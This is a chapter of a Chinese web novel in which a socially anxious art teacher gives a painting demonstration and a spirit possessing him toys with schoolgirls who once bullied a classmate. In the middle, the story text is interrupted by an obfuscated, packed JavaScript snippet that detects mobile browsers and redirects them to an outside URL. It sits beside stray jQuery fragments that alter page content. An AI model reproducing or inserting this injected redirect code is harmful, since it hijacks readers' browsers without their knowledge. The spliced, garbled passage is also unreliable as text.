“这里暗部画的太死了,明暗交界线才是最深的地方,暗部这里会有一点反光…”
吴惟正在给高中生看画,看对方不理解,从柜子里拿出一个苹果模型放在铺有蓝色桌布的桌子上。
这个桌子是专门用来摆静物给学生写生用的。因为他们还没有学到这里,所以桌面上是空的。
他示意同学把灯和窗帘都关上后,用手机从侧面给苹果打上光,另一边的暗部区域反射出桌布的蓝色,确实要比中间亮一些。
“你们初中的时候学物理应该学过漫反射吧,物体与物体之间离得近的部分就会被反射的光照到,亮部又是受光面,就只有明暗受光是最弱的,所以颜色最深。”
一些刚接触色彩知识的同学表示惊叹,之前老师教素描,都是只教理论,告诉你最深的是明暗交界线,然后就临摹,但是为什么,他们也是似懂非懂。
因为不理解,所以画的时候总是忘记这一点。
“也是因为漫反射,物体本身会带一点环境色,比如这里的苹果暗部就带上了桌布的蓝色,如果放的物体多了,还会染上别的颜色。”
“当然画画是主观意识的呈现,所以以后你们画色彩的时候,老师会告诉你们,为了更好的融入画面,需要在物体上多加入一些环境色,”
“这里并不是完全按照现实中你看到的来,而是凭借你主观的感受,认为怎么样画好看来决定的。”
“老师,这里有点抽象听不懂,要不您做个示范呗?”一个男生举手道,吴惟往后一瞧,总觉得有点眼熟。
没错正是当初体育课上看吴惟热闹的人之一,清道夫抓学生早恋抓到老师身上了是真有趣。
不过对方认出吴惟了,吴惟却没有认出他。
吴惟沉吟了一下,点头,“行,你们谁去隔壁三年级借一下工具,颜料,画笔,最好有扇形笔,调色板,水桶。”
“我去我去!”社牛同学兴致高涨,一溜烟就跑了出去,吴惟从柜子里找了一些静物和桌布在桌子上摆了起来。
“如果你们以后考学的话,一般色彩和素描都会有默写,所以构图也很重要,今天示范就用s形构图吧…”
三年级那边听说一年级有老师做范画,也跑过来这边观摩。
德育的教学理念就是德智体美劳全面发展,在这方面做的还算不错。
高一的时候会有一些艺术课,是强制参加的,占主科时间。
高二的话会根据兴趣分班,全年级艺术课集中在一个时间段。
到了高三才会取消掉艺术课,还要来上课的就是那些专门学艺术的同学了,他们上课时间一般是其他同学自习的时候,所以来的人不多,也不占地方。
一切准备就绪,吴惟开始一边讲解一边画。
“一般体物是放在画面三分之一处,一般是画面的上方…”
“主体物在这边,画面的重量会像这边倾斜,可以在另外一边加一点深色的小东西来平衡画面。”
“颜色越深,视觉感受上越重,另外这个物体可以放稍微远一点,类似杠杆的原理…”
“……”
“这里可以点一点画面中的冷色,破一下形,画画的时候一定要记住不要太老实,有的时候破一下形会让你的画面更加丰富,但也不要处处都破…”
“……”
作画过程并不是很快,吴惟收尾的时候已经快下课了。
“好了今天就到这吧,一般来说绘画只要保持关系对,每一个阶段都可以算是完成,这幅画继续往下画是可以无限深入的。”
“但是到这种程度已经够用了。”
铃声响起,吴惟松了一口气,道:“收拾一下准备下课吧。”
做范画好啊,比改画好多了,吴社恐表示,一节课就这么轻松混过去。
众人散场,社牛同学悄悄摸过来,嬉笑道:“老师好厉害,连我都听懂了。”
他可是一点艺术细胞都没有。
“谢谢?”
“话说我有点好奇,老师被当学生抓早恋是什么感觉?”
吴惟…吴惟他表情裂开了。
不提这件事还好,一提他又想起某个给他当爹的家伙不厚道的大笑。
说起来这次会来上课也是被仰飞光给卖了。
符阵效果要比较好,还是要在现实中有实体,吴惟给仰飞光做画,肯定不可能像祝福符阵那样传播。
他本来是想回家找材料画,但是他家的东西只是用来找灵感的,本来就不全还需要补,仰飞光直接从学校帮他借了画室和材料。
代价嘛,很简单,就是一年级的美术老师最近有事出去了,需要他帮忙暂代几节课。
“老师有女朋友吗?”
还没缓过来,吴惟的脸色又裂开了。
社牛同学饶有兴趣地盯着吴惟的脸,好像看到了什么好玩的事情。
吴惟回过神,冷笑着说道:“没有感觉,没有女朋友,我有好几个老婆,数位屏,数位板,数位笔,ipad你喜欢哪个,我可以给你介绍,以后每天给我交一幅速写,相信我,她也会很爱你!”
社牛同学:“……”
惹不起,溜了溜了。
“呵。”
实话实说嘛,数位笔和ipad pencil确实是他老婆啊,他最爱画画了呢。
他甚至和老婆生下了无数的孩子,他们的孩子还有很多人爱。
满脑子都在跑火车,吴惟的心情突然变得很好。
既然人都走了,暂时又没有课了,吴惟便从柜子里拿出自己画了一半的作品,准备继续。
这幅画上的仰飞光是个标准的小少爷,西装笔挺,靠在墙壁上,身形放松。
他隔空举着酒杯仿佛在庆祝什么,表情神采飞扬,意气风发。
背景似乎是一场宴会,周围的一切都熠熠生辉。
因果符阵被吴惟嵌入了地板和墙面上,包裹着小少爷,衬得他更加贵气了。
这幅画画了好几天才收工,仰飞光见了十分惊喜,马上就拿去给裱了起来。
后来挂在墙上越看越喜欢,反手就拍了下来放班群里炫耀,快看,神子大人给我画的像,帅不帅,可惜你们没有~
三班哪个不是学美术的,只是工作之后大家都很难抽出时间专门去画画。
就算画也大多数不是自己随意的创作,自然比不得工作就是创作的吴惟。
这种精细度高,并且半点没崩手绘,很久没见了,仰飞光一发出去就收到了全班的嘘声,于是他很痛快地跑路了。
吴惟见状沉默了,“你高兴就好…”
反正他不可能在班里冒头给自己找活干的。
.
不过这都是后话了,这段时间吴惟也不是除了画画和代课什么都没干。
虽然吴惟本来没想干啥。
这天下午吴惟去工地把一处嵌入符阵的部分修改完,换下工装去给另外一个班代课。
路过二年级的教室区域和一个女生迎面撞上,下意识扶住对方。
“嘶…你没事吧?”
盛思涵从未想过自己还能遇到偶像剧的桥段。
这会儿是课间,她在和好友玩闹呢,就是跑得快了一点。
路过转角的位置时“砰”的一下撞到这人身上。
那声音,听着就让人牙酸。
力的作用是相互的,何况她在跑,那一下撞得结结实实。
她本身力气又不大,撞了一下之后对面没怎么样呢,她先站不住,趔趄着后退两步,被对方扶住了,还听到一声关切,“你没事吧?”
盛思涵下意识抬头看向对方,只见眼前的少年弯着腰,一手抵着唇边,一手还搀扶着她,一脸关切地看着她,眼中尽是如水一般的柔情,那一点朱砂硬是让她品出了一丝缱绻的味道。
盛思涵一瞬间把最近看过的小说全部脑补了一个遍,红晕洒满了整个脸颊,头脑跟着发热起来,半天没有反应。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193583|197105||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
若是吴惟知道她的想法定会为自己辩解:“捂的是下巴不是唇,知道自己额头多硬吗?眼睛不是如水是真的快挤出水了,疼的!没事请不要瞎脑补!”
“你没事吧?脸这么红?”刚刚追着她玩的同学跑过来,看了看吴惟离开的背影,在盛思涵耳边揶揄地笑道:“人都走远了还在这发呆。”
“诶呦刚刚的男生长得真好看,清清冷冷,我记得你好像很喜欢这一挂的,你该不会…嗯?”
盛思涵听到好友的声音已经回过神来,现在被她说的脸更红了,伸手挠她的咯吱窝,“说什么呢!”
“哈哈哈哈,大小姐我错了,饶了我吧哈哈哈哈~”
“啧…青春就是好。”吴惟在意识空间无情吐槽,婴灵的神识让他把对话听得一清二楚:“还笑呢,等过两天喝凉水都塞牙缝,就不知道能不能笑的出来了。”
没错,刚刚转角处婴灵看到对面冲过来的人,直接把吴惟踢进意识空间自己上了。
偶像剧是不可能偶像的,开玩笑,玩校园霸凌的小屁孩不配。
尤其是对象还是傻白甜的自家崽,婴灵表示,你想吃屁!
如果换别人婴灵可能还会躲在意识空间调侃吴惟,但是那个盛思涵,就是当初霸凌张钰婷的三个室友之一,后面追过来的同学也是。
婴灵冷笑着说道:“可不,言语冲撞判官也不行,那俩人最近都要倒霉了呢。”
这可是她们自己撞上来的,可不是婴灵故意找事,只能算他们点背。
只是婴灵和吴惟都没想到,有些人找死也上赶着,她们是真信了这是校园言情小说,还到处打听吴惟。
这不,知道吴惟是一年级美术老师,都来美术教室堵他来了。
吴惟给一个同学改完画,抬头和蹲在窗外悄悄看他的盛思涵对视上了,她两个室友也在身边。
盛思涵甚至还朝他挥了挥手。
吴惟:人都麻了.jpg
毕竟要脸,他还不至于跟一个孩子过不去,朝对方点了点头,就把精力给了另外一个学生。
“又忘了我说过的吗,用直线起型,不要用曲线,现在的你还把握不好。”
……
“怎么样,是不是超级帅!”盛思涵沉醉,认真的男人最帅了!
尤其是吴惟因为社恐不善跟人交流,反而会把精力完全投入画面,指导别人的时候认真地样子,非常吸引人。
要是吴惟知道她的心思,回去绝对第一时间强行把自己的思维转变成以前的样子,让自己变成彻彻底底的小透明。
可惜他不知道,他一直信奉顺其自然,自从因为灵觉解放开始引人注意,他就没刻意隐藏过自己了。
室友的审美和她不一样,齐雪霏倒是没觉得他特别帅,不过很耐看,眉间的朱砂更是点睛之笔,点活了让这张平平无奇的脸,使他看起来像天上的皎月。
虽然审美不同,但是她表示了肯定:“虽然帅这个词好像不太适用,但是确实很好看!”
盛思涵不满地看了她一眼,齐雪霏还是坚持自己的观点,“帅是指那种硬帅的感觉你懂我的意思吧,就很有活力的,或者很有力量的,他看着太柔和了。”
“我也觉得,”简茜点头,“与其说帅,不如说美。”
“可是他很有力量啊,你不知道,我跑过去的时候,那么大的力量他都没后退一步,换个人早站不住了!”
“说不定有八块腹肌呢!”盛思涵捧着脸幻想起来。
吴惟听着婴灵的转述人更麻了,下课铃响的一瞬间,立马滚进意识空间,被踢出来的婴灵:“?”
不是哥们你不知道咋办我就知道了?我知道小婴儿为什么要承受这些?!
吴惟:“加油上,让她们知道什么叫人心险恶!”
婴灵:“可我也做不到啊!!!”
嗯,果然不是什么都没干,是干了不如不干,告诉我,到底是谁要牺牲色相了:)
.